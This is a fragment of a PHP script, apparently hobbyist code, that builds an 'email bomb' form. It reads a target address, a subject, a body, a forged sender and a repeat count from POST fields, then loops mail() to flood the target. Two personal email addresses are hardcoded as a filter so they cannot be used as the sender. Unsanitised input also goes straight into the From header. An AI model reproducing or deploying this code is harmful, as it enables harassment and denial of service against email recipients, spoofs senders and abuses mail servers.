/* Check If the Person Clicked The Button */ if (isset($_POST['sendbomb'])) { /* My Stupid little thing i like to use to shorten some of my stuff :) */ /* Replace 10 with how many boxes you have and rename all the inputs and textareas to s and then a number, eg s1 */ for ($i = 1; $i <= 10; $i++) { $xx = "s"; $xx .= "$i"; $$xx = $_POST[$xx]; /* You could add striptags, stripslashes and htmlspecialchars and stuff to it there so you dont have to clean it up later */ } /* if you change this, ill come after you! */ $block = "pyro5187@yahoo.com, pmanic@gmail.com"; /* Check if he person is using the filtered emails */ if(!preg_match("!$block!i",$s1)) { /* If There was no errors */ /* Set The Mailto And Subject Variables */ $MailTo = "$s2"; $MailSubject = "$s3"; /* Remove funny chars from the email so i'm doesnt go to i'm */ $s4 = stripslashes($s4); $MailBody = "$s4"; /* Send Email Bomb !! */ for ($i = 1; $i <= $s5; $i++) { mail($MailTo, $MailSubject, $MailBody, "From: $s1<$s1> X-Mailer: PHP/" . phpversion()); } /* echo out that the email bomb was sent */ echo "Mail Has Been Sent"; } else { /* if the email was blocked give this error message */ echo "That Email Is Filtered"; } } else { ?>